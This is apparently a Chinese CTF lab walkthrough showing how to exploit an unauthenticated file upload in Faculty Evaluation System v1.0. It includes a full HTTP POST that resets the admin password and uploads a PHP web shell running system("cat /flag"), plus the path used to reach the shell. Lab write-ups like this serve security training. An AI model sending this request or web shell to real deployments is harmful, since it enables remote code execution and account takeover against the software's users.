靶标介绍
Faculty Evaluation System v1.0 存在未授权任意文件上传漏洞漏洞
开启靶场
页面如下
目录扫描
使用御剑扫描
访问下面这个链接
http://eci-2ze0lpvzvikzi704zsn3.cloudeci1.ichunqiu.com/login.php
需要登录,暂且不登录,直接刷新页面抓包,发送到 repeater
修改 POC
注意:Host 和 referer 参数中的域名使用自己抓包抓到的数据
POST /ajax.php?action=update_user HTTP/1.1
Host: eci-2ze0lpvzvikzi704zsn3.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://eci-2ze0lpvzvikzi704zsn3.cloudeci1.ichunqiu.com/index.php
Content-Length: 752
Content-Type: multipart/form-data; boundary=---------------------------166782539326470
Connection: close
-----------------------------166782539326470
Content-Disposition: form-data; name="id"
1
-----------------------------166782539326470
Content-Disposition: form-data; name="firstname"
Administrator
-----------------------------166782539326470
Content-Disposition: form-data; name="lastname"
a
-----------------------------166782539326470
Content-Disposition: form-data; name="email"
admin@admin.com
-----------------------------166782539326470
Content-Disposition: form-data; name="password"
admin
-----------------------------166782539326470
Content-Disposition: form-data; name="img"; filename="php.php"
Content-Type: application/octet-stream
<?php system("cat /flag");?>
-----------------------------166782539326470--
获取 flag
响应包中的 avatar 拼接到 URL 后面访问,然后得到了 flag
/assets/uploads/1722769380_php.php